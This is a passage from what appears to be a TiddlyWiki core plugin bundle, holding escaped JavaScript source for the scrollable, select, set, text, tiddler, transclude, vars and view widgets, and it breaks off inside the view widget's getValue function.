class\n*/\nScrollableWidget.prototype = new Widget();\n\nScrollableWidget.prototype.cancelScroll = function() {\n\tif(this.idRequestFrame) {\n\t\tthis.cancelAnimationFrame.call(window,this.idRequestFrame);\n\t\tthis.idRequestFrame = null;\n\t}\n};\n\n/*\nHandle a scroll event\n*/\nScrollableWidget.prototype.handleScrollEvent = function(event) {\n\t// Pass the scroll event through if our offsetsize is larger than our scrollsize\n\tif(this.outerDomNode.scrollWidth <= this.outerDomNode.offsetWidth && this.outerDomNode.scrollHeight <= this.outerDomNode.offsetHeight && this.fallthrough === \"yes\") {\n\t\treturn true;\n\t}\n\tthis.scrollIntoView(event.target);\n\treturn false; // Handled event\n};\n\n/*\nScroll an element into view\n*/\nScrollableWidget.prototype.scrollIntoView = function(element) {\n\tvar duration = $tw.utils.getAnimationDuration();\n\tthis.cancelScroll();\n\tthis.startTime = Date.now();\n\tvar scrollPosition = {\n\t\tx: this.outerDomNode.scrollLeft,\n\t\ty: this.outerDomNode.scrollTop\n\t};\n\t// Get the client bounds of the element and adjust by the scroll position\n\tvar scrollableBounds = this.outerDomNode.getBoundingClientRect(),\n\t\tclientTargetBounds = element.getBoundingClientRect(),\n\t\tbounds = {\n\t\t\tleft: clientTargetBounds.left + scrollPosition.x - scrollableBounds.left,\n\t\t\ttop: clientTargetBounds.top + scrollPosition.y - scrollableBounds.top,\n\t\t\twidth: clientTargetBounds.width,\n\t\t\theight: clientTargetBounds.height\n\t\t};\n\t// We'll consider the horizontal and vertical scroll directions separately via this function\n\tvar getEndPos = function(targetPos,targetSize,currentPos,currentSize) {\n\t\t\t// If the target is already visible then stay where we are\n\t\t\tif(targetPos >= currentPos && (targetPos + targetSize) <= (currentPos + currentSize)) {\n\t\t\t\treturn currentPos;\n\t\t\t// If the target is above/left of the current view, then scroll to its top/left\n\t\t\t} else if(targetPos <= currentPos) {\n\t\t\t\treturn targetPos;\n\t\t\t// If the target is smaller than the window and the scroll position is too far up, then scroll till the target is at the bottom of the window\n\t\t\t} else if(targetSize < currentSize && currentPos < (targetPos + targetSize - currentSize)) {\n\t\t\t\treturn targetPos + targetSize - currentSize;\n\t\t\t// If the target is big, then just scroll to the top\n\t\t\t} else if(currentPos < targetPos) {\n\t\t\t\treturn targetPos;\n\t\t\t// Otherwise, stay where we are\n\t\t\t} else {\n\t\t\t\treturn currentPos;\n\t\t\t}\n\t\t},\n\t\tendX = getEndPos(bounds.left,bounds.width,scrollPosition.x,this.outerDomNode.offsetWidth),\n\t\tendY = getEndPos(bounds.top,bounds.height,scrollPosition.y,this.outerDomNode.offsetHeight);\n\t// Only scroll if necessary\n\tif(endX !== scrollPosition.x || endY !== scrollPosition.y) {\n\t\tvar self = this,\n\t\t\tdrawFrame;\n\t\tdrawFrame = function () {\n\t\t\tvar t;\n\t\t\tif(duration <= 0) {\n\t\t\t\tt = 1;\n\t\t\t} else {\n\t\t\t\tt = ((Date.now()) - self.startTime) / duration;\t\n\t\t\t}\n\t\t\tif(t >= 1) {\n\t\t\t\tself.cancelScroll();\n\t\t\t\tt = 1;\n\t\t\t}\n\t\t\tt = $tw.utils.slowInSlowOut(t);\n\t\t\tself.outerDomNode.scrollLeft = scrollPosition.x + (endX - scrollPosition.x) * t;\n\t\t\tself.outerDomNode.scrollTop = scrollPosition.y + (endY - scrollPosition.y) * t;\n\t\t\tif(t < 1) {\n\t\t\t\tself.idRequestFrame = self.requestAnimationFrame.call(window,drawFrame);\n\t\t\t}\n\t\t};\n\t\tdrawFrame();\n\t}\n};\n\n/*\nRender this widget into the DOM\n*/\nScrollableWidget.prototype.render = function(parent,nextSibling) {\n\tvar self = this;\n\t// Remember parent\n\tthis.parentDomNode = parent;\n\t// Compute attributes and execute state\n\tthis.computeAttributes();\n\tthis.execute();\n\t// Create elements\n\tthis.outerDomNode = this.document.createElement(\"div\");\n\t$tw.utils.setStyle(this.outerDomNode,[\n\t\t{overflowY: \"auto\"},\n\t\t{overflowX: \"auto\"},\n\t\t{webkitOverflowScrolling: \"touch\"}\n\t]);\n\tthis.innerDomNode = this.document.createElement(\"div\");\n\tthis.outerDomNode.appendChild(this.innerDomNode);\n\t// Assign classes\n\tthis.outerDomNode.className = this[\"class\"] || \"\";\n\t// Insert element\n\tparent.insertBefore(this.outerDomNode,nextSibling);\n\tthis.renderChildren(this.innerDomNode,null);\n\tthis.domNodes.push(this.outerDomNode);\n};\n\n/*\nCompute the internal state of the widget\n*/\nScrollableWidget.prototype.execute = function() {\n\t// Get attributes\n\tthis.fallthrough = this.getAttribute(\"fallthrough\",\"yes\");\n\tthis[\"class\"] = this.getAttribute(\"class\");\n\t// Make child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nScrollableWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes[\"class\"]) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t}\n\treturn this.refreshChildren(changedTiddlers);\n};\n\nexports.scrollable = ScrollableWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/select.js": {
"title": "$:/core/modules/widgets/select.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/select.js\ntype: application/javascript\nmodule-type: widget\n\nSelect widget:\n\n```\n<$select tiddler=\"MyTiddler\" field=\"text\">\n<$list filter=\"[tag[chapter]]\">\n<option value=<<currentTiddler>>>\n<$view field=\"description\"/>\n</option>\n</$list>\n</$select>\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar SelectWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nSelectWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nSelectWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tthis.renderChildren(parent,nextSibling);\n\tthis.setSelectValue();\n\t$tw.utils.addEventListeners(this.getSelectDomNode(),[\n\t\t{name: \"change\", handlerObject: this, handlerMethod: \"handleChangeEvent\"}\n\t]);\n};\n\n/*\nHandle a change event\n*/\nSelectWidget.prototype.handleChangeEvent = function(event) {\n\t// Get the new value and assign it to the tiddler\n\tif(this.selectMultiple == false) {\n\t\tvar value = this.getSelectDomNode().value;\n\t} else {\n\t\tvar value = this.getSelectValues()\n\t\t\t\tvalue = $tw.utils.stringifyList(value);\n\t}\n\tthis.wiki.setText(this.selectTitle,this.selectField,this.selectIndex,value);\n\t// Trigger actions\n\tif(this.selectActions) {\n\t\tthis.invokeActionString(this.selectActions,this,event);\n\t}\n};\n\n/*\nIf necessary, set the value of the select element to the current value\n*/\nSelectWidget.prototype.setSelectValue = function() {\n\tvar value = this.selectDefault;\n\t// Get the value\n\tif(this.selectIndex) {\n\t\tvalue = this.wiki.extractTiddlerDataItem(this.selectTitle,this.selectIndex,value);\n\t} else {\n\t\tvar tiddler = this.wiki.getTiddler(this.selectTitle);\n\t\tif(tiddler) {\n\t\t\tif(this.selectField === \"text\") {\n\t\t\t\t// Calling getTiddlerText() triggers lazy loading of skinny tiddlers\n\t\t\t\tvalue = this.wiki.getTiddlerText(this.selectTitle);\n\t\t\t} else {\n\t\t\t\tif($tw.utils.hop(tiddler.fields,this.selectField)) {\n\t\t\t\t\tvalue = tiddler.getFieldString(this.selectField);\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tif(this.selectField === \"title\") {\n\t\t\t\tvalue = this.selectTitle;\n\t\t\t}\n\t\t}\n\t}\n\t// Assign it to the select element if it's different than the current value\n\tif (this.selectMultiple) {\n\t\tvalue = value === undefined ? \"\" : value;\n\t\tvar select = this.getSelectDomNode();\n\t\tvar values = Array.isArray(value) ? value : $tw.utils.parseStringArray(value);\n\t\tfor(var i=0; i < select.children.length; i++){\n\t\t\tselect.children[i].selected = values.indexOf(select.children[i].value) !== -1\n\t\t}\n\t} else {\n\t\tvar domNode = this.getSelectDomNode();\n\t\tif(domNode.value !== value) {\n\t\t\tdomNode.value = value;\n\t\t}\n\t}\n};\n\n/*\nGet the DOM node of the select element\n*/\nSelectWidget.prototype.getSelectDomNode = function() {\n\treturn this.children[0].domNodes[0];\n};\n\n// Return an array of the selected opion values\n// select is an HTML select element\nSelectWidget.prototype.getSelectValues = function() {\n\tvar select, result, options, opt;\n\tselect = this.getSelectDomNode();\n\tresult = [];\n\toptions = select && select.options;\n\tfor (var i=0; i<options.length; i++) {\n\t\topt = options[i];\n\t\tif (opt.selected) {\n\t\t\tresult.push(opt.value || opt.text);\n\t\t}\n\t}\n\treturn result;\n}\n\n/*\nCompute the internal state of the widget\n*/\nSelectWidget.prototype.execute = function() {\n\t// Get our parameters\n\tthis.selectActions = this.getAttribute(\"actions\");\n\tthis.selectTitle = this.getAttribute(\"tiddler\",this.getVariable(\"currentTiddler\"));\n\tthis.selectField = this.getAttribute(\"field\",\"text\");\n\tthis.selectIndex = this.getAttribute(\"index\");\n\tthis.selectClass = this.getAttribute(\"class\");\n\tthis.selectDefault = this.getAttribute(\"default\");\n\tthis.selectMultiple = this.getAttribute(\"multiple\", false);\n\tthis.selectSize = this.getAttribute(\"size\");\n\tthis.selectTooltip = this.getAttribute(\"tooltip\");\n\t// Make the child widgets\n\tvar selectNode = {\n\t\ttype: \"element\",\n\t\ttag: \"select\",\n\t\tchildren: this.parseTreeNode.children\n\t};\n\tif(this.selectClass) {\n\t\t$tw.utils.addAttributeToParseTreeNode(selectNode,\"class\",this.selectClass);\n\t}\n\tif(this.selectMultiple) {\n\t\t$tw.utils.addAttributeToParseTreeNode(selectNode,\"multiple\",\"multiple\");\n\t}\n\tif(this.selectSize) {\n\t\t$tw.utils.addAttributeToParseTreeNode(selectNode,\"size\",this.selectSize);\n\t}\n\tif(this.selectTooltip) {\n\t\t$tw.utils.addAttributeToParseTreeNode(selectNode,\"title\",this.selectTooltip);\n\t}\n\tthis.makeChildWidgets([selectNode]);\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nSelectWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\t// If we're using a different tiddler/field/index then completely refresh ourselves\n\tif(changedAttributes.selectTitle || changedAttributes.selectField || changedAttributes.selectIndex || changedAttributes.selectTooltip) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t// If the target tiddler value has changed, just update setting and refresh the children\n\t} else {\n\t\tvar childrenRefreshed = this.refreshChildren(changedTiddlers);\n\t\tif(changedTiddlers[this.selectTitle] || childrenRefreshed) {\n\t\t\tthis.setSelectValue();\n\t\t} \n\t\treturn childrenRefreshed;\n\t}\n};\n\nexports.select = SelectWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/set.js": {
"title": "$:/core/modules/widgets/set.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/set.js\ntype: application/javascript\nmodule-type: widget\n\nSet variable widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar SetWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nSetWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nSetWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tthis.renderChildren(parent,nextSibling);\n};\n\n/*\nCompute the internal state of the widget\n*/\nSetWidget.prototype.execute = function() {\n\t// Get our parameters\n\tthis.setName = this.getAttribute(\"name\",\"currentTiddler\");\n\tthis.setFilter = this.getAttribute(\"filter\");\n\tthis.setSelect = this.getAttribute(\"select\");\n\tthis.setTiddler = this.getAttribute(\"tiddler\");\n\tthis.setSubTiddler = this.getAttribute(\"subtiddler\");\n\tthis.setField = this.getAttribute(\"field\");\n\tthis.setIndex = this.getAttribute(\"index\");\n\tthis.setValue = this.getAttribute(\"value\");\n\tthis.setEmptyValue = this.getAttribute(\"emptyValue\");\n\t// Set context variable\n\tthis.setVariable(this.setName,this.getValue(),this.parseTreeNode.params,!!this.parseTreeNode.isMacroDefinition);\n\t// Construct the child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nGet the value to be assigned\n*/\nSetWidget.prototype.getValue = function() {\n\tvar value = this.setValue;\n\tif(this.setTiddler) {\n\t\tvar tiddler;\n\t\tif(this.setSubTiddler) {\n\t\t\ttiddler = this.wiki.getSubTiddler(this.setTiddler,this.setSubTiddler);\n\t\t} else {\n\t\t\ttiddler = this.wiki.getTiddler(this.setTiddler);\t\t\t\n\t\t}\n\t\tif(!tiddler) {\n\t\t\tvalue = this.setEmptyValue;\n\t\t} else if(this.setField) {\n\t\t\tvalue = tiddler.getFieldString(this.setField) || this.setEmptyValue;\n\t\t} else if(this.setIndex) {\n\t\t\tvalue = this.wiki.extractTiddlerDataItem(this.setTiddler,this.setIndex,this.setEmptyValue);\n\t\t} else {\n\t\t\tvalue = tiddler.fields.text || this.setEmptyValue ;\n\t\t}\n\t} else if(this.setFilter) {\n\t\tvar results = this.wiki.filterTiddlers(this.setFilter,this);\n\t\tif(this.setValue == null) {\n\t\t\tvar select;\n\t\t\tif(this.setSelect) {\n\t\t\t\tselect = parseInt(this.setSelect,10);\n\t\t\t}\n\t\t\tif(select !== undefined) {\n\t\t\t\tvalue = results[select] || \"\";\n\t\t\t} else {\n\t\t\t\tvalue = $tw.utils.stringifyList(results);\t\t\t\n\t\t\t}\n\t\t}\n\t\tif(results.length === 0 && this.setEmptyValue !== undefined) {\n\t\t\tvalue = this.setEmptyValue;\n\t\t}\n\t} else if(!value && this.setEmptyValue) {\n\t\tvalue = this.setEmptyValue;\n\t}\n\treturn value || \"\";\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nSetWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.name || changedAttributes.filter || changedAttributes.select || changedAttributes.tiddler || (this.setTiddler && changedTiddlers[this.setTiddler]) || changedAttributes.field || changedAttributes.index || changedAttributes.value || changedAttributes.emptyValue ||\n\t (this.setFilter && this.getValue() != this.variables[this.setName].value)) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\treturn this.refreshChildren(changedTiddlers);\n\t}\n};\n\nexports.setvariable = SetWidget;\nexports.set = SetWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/text.js": {
"title": "$:/core/modules/widgets/text.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/text.js\ntype: application/javascript\nmodule-type: widget\n\nText node widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar TextNodeWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nTextNodeWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nTextNodeWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tvar text = this.getAttribute(\"text\",this.parseTreeNode.text || \"\");\n\ttext = text.replace(/\\r/mg,\"\");\n\tvar textNode = this.document.createTextNode(text);\n\tparent.insertBefore(textNode,nextSibling);\n\tthis.domNodes.push(textNode);\n};\n\n/*\nCompute the internal state of the widget\n*/\nTextNodeWidget.prototype.execute = function() {\n\t// Nothing to do for a text node\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nTextNodeWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.text) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\treturn false;\t\n\t}\n};\n\nexports.text = TextNodeWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/tiddler.js": {
"title": "$:/core/modules/widgets/tiddler.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/tiddler.js\ntype: application/javascript\nmodule-type: widget\n\nTiddler widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar TiddlerWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nTiddlerWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nTiddlerWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tthis.renderChildren(parent,nextSibling);\n};\n\n/*\nCompute the internal state of the widget\n*/\nTiddlerWidget.prototype.execute = function() {\n\tthis.tiddlerState = this.computeTiddlerState();\n\tthis.setVariable(\"currentTiddler\",this.tiddlerState.currentTiddler);\n\tthis.setVariable(\"missingTiddlerClass\",this.tiddlerState.missingTiddlerClass);\n\tthis.setVariable(\"shadowTiddlerClass\",this.tiddlerState.shadowTiddlerClass);\n\tthis.setVariable(\"systemTiddlerClass\",this.tiddlerState.systemTiddlerClass);\n\tthis.setVariable(\"tiddlerTagClasses\",this.tiddlerState.tiddlerTagClasses);\n\t// Construct the child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nCompute the tiddler state flags\n*/\nTiddlerWidget.prototype.computeTiddlerState = function() {\n\t// Get our parameters\n\tthis.tiddlerTitle = this.getAttribute(\"tiddler\",this.getVariable(\"currentTiddler\"));\n\t// Compute the state\n\tvar state = {\n\t\tcurrentTiddler: this.tiddlerTitle || \"\",\n\t\tmissingTiddlerClass: (this.wiki.tiddlerExists(this.tiddlerTitle) || this.wiki.isShadowTiddler(this.tiddlerTitle)) ? \"tc-tiddler-exists\" : \"tc-tiddler-missing\",\n\t\tshadowTiddlerClass: this.wiki.isShadowTiddler(this.tiddlerTitle) ? \"tc-tiddler-shadow\" : \"\",\n\t\tsystemTiddlerClass: this.wiki.isSystemTiddler(this.tiddlerTitle) ? \"tc-tiddler-system\" : \"\",\n\t\ttiddlerTagClasses: this.getTagClasses()\n\t};\n\t// Compute a simple hash to make it easier to detect changes\n\tstate.hash = state.currentTiddler + state.missingTiddlerClass + state.shadowTiddlerClass + state.systemTiddlerClass + state.tiddlerTagClasses;\n\treturn state;\n};\n\n/*\nCreate a string of CSS classes derived from the tags of the current tiddler\n*/\nTiddlerWidget.prototype.getTagClasses = function() {\n\tvar tiddler = this.wiki.getTiddler(this.tiddlerTitle);\n\tif(tiddler) {\n\t\tvar tags = [];\n\t\t$tw.utils.each(tiddler.fields.tags,function(tag) {\n\t\t\ttags.push(\"tc-tagged-\" + encodeURIComponent(tag));\n\t\t});\n\t\treturn tags.join(\" \");\n\t} else {\n\t\treturn \"\";\n\t}\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nTiddlerWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes(),\n\t\tnewTiddlerState = this.computeTiddlerState();\n\tif(changedAttributes.tiddler || newTiddlerState.hash !== this.tiddlerState.hash) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\treturn this.refreshChildren(changedTiddlers);\t\t\n\t}\n};\n\nexports.tiddler = TiddlerWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/transclude.js": {
"title": "$:/core/modules/widgets/transclude.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/transclude.js\ntype: application/javascript\nmodule-type: widget\n\nTransclude widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar TranscludeWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nTranscludeWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nTranscludeWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tthis.renderChildren(parent,nextSibling);\n};\n\n/*\nCompute the internal state of the widget\n*/\nTranscludeWidget.prototype.execute = function() {\n\t// Get our parameters\n\tthis.transcludeTitle = this.getAttribute(\"tiddler\",this.getVariable(\"currentTiddler\"));\n\tthis.transcludeSubTiddler = this.getAttribute(\"subtiddler\");\n\tthis.transcludeField = this.getAttribute(\"field\");\n\tthis.transcludeIndex = this.getAttribute(\"index\");\n\tthis.transcludeMode = this.getAttribute(\"mode\");\n\t// Parse the text reference\n\tvar parseAsInline = !this.parseTreeNode.isBlock;\n\tif(this.transcludeMode === \"inline\") {\n\t\tparseAsInline = true;\n\t} else if(this.transcludeMode === \"block\") {\n\t\tparseAsInline = false;\n\t}\n\tvar parser = this.wiki.parseTextReference(\n\t\t\t\t\t\tthis.transcludeTitle,\n\t\t\t\t\t\tthis.transcludeField,\n\t\t\t\t\t\tthis.transcludeIndex,\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tparseAsInline: parseAsInline,\n\t\t\t\t\t\t\tsubTiddler: this.transcludeSubTiddler\n\t\t\t\t\t\t}),\n\t\tparseTreeNodes = parser ? parser.tree : this.parseTreeNode.children;\n\t// Set context variables for recursion detection\n\tvar recursionMarker = this.makeRecursionMarker();\n\tthis.setVariable(\"transclusion\",recursionMarker);\n\t// Check for recursion\n\tif(parser) {\n\t\tif(this.parentWidget && this.parentWidget.hasVariable(\"transclusion\",recursionMarker)) {\n\t\t\tparseTreeNodes = [{type: \"element\", tag: \"span\", attributes: {\n\t\t\t\t\"class\": {type: \"string\", value: \"tc-error\"}\n\t\t\t}, children: [\n\t\t\t\t{type: \"text\", text: $tw.language.getString(\"Error/RecursiveTransclusion\")}\n\t\t\t]}];\n\t\t}\n\t}\n\t// Construct the child widgets\n\tthis.makeChildWidgets(parseTreeNodes);\n};\n\n/*\nCompose a string comprising the title, field and/or index to identify this transclusion for recursion detection\n*/\nTranscludeWidget.prototype.makeRecursionMarker = function() {\n\tvar output = [];\n\toutput.push(\"{\");\n\toutput.push(this.getVariable(\"currentTiddler\",{defaultValue: \"\"}));\n\toutput.push(\"|\");\n\toutput.push(this.transcludeTitle || \"\");\n\toutput.push(\"|\");\n\toutput.push(this.transcludeField || \"\");\n\toutput.push(\"|\");\n\toutput.push(this.transcludeIndex || \"\");\n\toutput.push(\"|\");\n\toutput.push(this.transcludeSubTiddler || \"\");\n\toutput.push(\"}\");\n\treturn output.join(\"\");\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nTranscludeWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.tiddler || changedAttributes.field || changedAttributes.index || changedTiddlers[this.transcludeTitle]) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\treturn this.refreshChildren(changedTiddlers);\t\t\n\t}\n};\n\nexports.transclude = TranscludeWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/vars.js": {
"title": "$:/core/modules/widgets/vars.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/vars.js\ntype: application/javascript\nmodule-type: widget\n\nThis widget allows multiple variables to be set in one go:\n\n```\n\\define helloworld() Hello world!\n<$vars greeting=\"Hi\" me={{!!title}} sentence=<<helloworld>>>\n <<greeting>>! I am <<me>> and I say: <<sentence>>\n</$vars>\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar VarsWidget = function(parseTreeNode,options) {\n\t// Call the constructor\n\tWidget.call(this);\n\t// Initialise\t\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nVarsWidget.prototype = Object.create(Widget.prototype);\n\n/*\nRender this widget into the DOM\n*/\nVarsWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tthis.renderChildren(parent,nextSibling);\n};\n\n/*\nCompute the internal state of the widget\n*/\nVarsWidget.prototype.execute = function() {\n\t// Parse variables\n\tvar self = this;\n\t$tw.utils.each(this.attributes,function(val,key) {\n\t\tif(key.charAt(0) !== \"$\") {\n\t\t\tself.setVariable(key,val);\n\t\t}\n\t});\n\t// Construct the child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nRefresh the widget by ensuring our attributes are up to date\n*/\nVarsWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(Object.keys(changedAttributes).length) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t}\n\treturn this.refreshChildren(changedTiddlers);\n};\n\nexports[\"vars\"] = VarsWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/view.js": {
"title": "$:/core/modules/widgets/view.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/view.js\ntype: application/javascript\nmodule-type: widget\n\nView widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar ViewWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nViewWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nViewWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tif(this.text) {\n\t\tvar textNode = this.document.createTextNode(this.text);\n\t\tparent.insertBefore(textNode,nextSibling);\n\t\tthis.domNodes.push(textNode);\n\t} else {\n\t\tthis.makeChildWidgets();\n\t\tthis.renderChildren(parent,nextSibling);\n\t}\n};\n\n/*\nCompute the internal state of the widget\n*/\nViewWidget.prototype.execute = function() {\n\t// Get parameters from our attributes\n\tthis.viewTitle = this.getAttribute(\"tiddler\",this.getVariable(\"currentTiddler\"));\n\tthis.viewSubtiddler = this.getAttribute(\"subtiddler\");\n\tthis.viewField = this.getAttribute(\"field\",\"text\");\n\tthis.viewIndex = this.getAttribute(\"index\");\n\tthis.viewFormat = this.getAttribute(\"format\",\"text\");\n\tthis.viewTemplate = this.getAttribute(\"template\",\"\");\n\tthis.viewMode = this.getAttribute(\"mode\",\"block\");\n\tswitch(this.viewFormat) {\n\t\tcase \"htmlwikified\":\n\t\t\tthis.text = this.getValueAsHtmlWikified(this.viewMode);\n\t\t\tbreak;\n\t\tcase \"plainwikified\":\n\t\t\tthis.text = this.getValueAsPlainWikified(this.viewMode);\n\t\t\tbreak;\n\t\tcase \"htmlencodedplainwikified\":\n\t\t\tthis.text = this.getValueAsHtmlEncodedPlainWikified(this.viewMode);\n\t\t\tbreak;\n\t\tcase \"htmlencoded\":\n\t\t\tthis.text = this.getValueAsHtmlEncoded();\n\t\t\tbreak;\n\t\tcase \"urlencoded\":\n\t\t\tthis.text = this.getValueAsUrlEncoded();\n\t\t\tbreak;\n\t\tcase \"doubleurlencoded\":\n\t\t\tthis.text = this.getValueAsDoubleUrlEncoded();\n\t\t\tbreak;\n\t\tcase \"date\":\n\t\t\tthis.text = this.getValueAsDate(this.viewTemplate);\n\t\t\tbreak;\n\t\tcase \"relativedate\":\n\t\t\tthis.text = this.getValueAsRelativeDate();\n\t\t\tbreak;\n\t\tcase \"stripcomments\":\n\t\t\tthis.text = this.getValueAsStrippedComments();\n\t\t\tbreak;\n\t\tcase \"jsencoded\":\n\t\t\tthis.text = this.getValueAsJsEncoded();\n\t\t\tbreak;\n\t\tdefault: // \"text\"\n\t\t\tthis.text = this.getValueAsText();\n\t\t\tbreak;\n\t}\n};\n\n/*\nThe various formatter functions are baked into this widget for the moment. Eventually they will be replaced by macro functions\n*/\n\n/*\nRetrieve the value of the widget. Options are:\nasString: Optionally return the value as a string\n*/\nViewWidget.prototype.getValue = function(options) {\n\toptions = options || {};\n\tvar value = options.asString ? \"\" : undefined;\n\tif(this.viewIndex) {\n\t\tvalue = this.wiki.extractTiddlerDataItem(this.viewTitle,this.viewIndex);\n\t} else {\n\t\tvar tiddler;\n\t\tif(this.viewSubtiddler) {\n\t\t\ttiddler = this.wiki.getSubTiddler(this.viewTitle,this.viewSubtiddler);\t\n\t\t} else {\n\t\t\ttiddler = this.wiki.getTiddler(this.viewTitle);\n\t\t}\n\t\tif(tiddler) {\n\t\t\tif(this.viewField === \"text\" && !this.viewSubtiddler) {\n\t\t\t\t// Calling getTiddlerText() triggers lazy loading of skinny tiddlers\n\t\t\t\tvalue = this.wiki.getTiddlerText(this.viewTitle);\n\t\t\t} else {\n\t\t\t\tif($tw.utils.hop(tiddler.fields,this.viewField)) {\n\t\t\t\t\tif(options.asString) {\n\t\t\t\t\t\tvalue = tiddler.getFieldString(this.viewField);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tvalue = tiddler.fields[this.viewField];\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} else 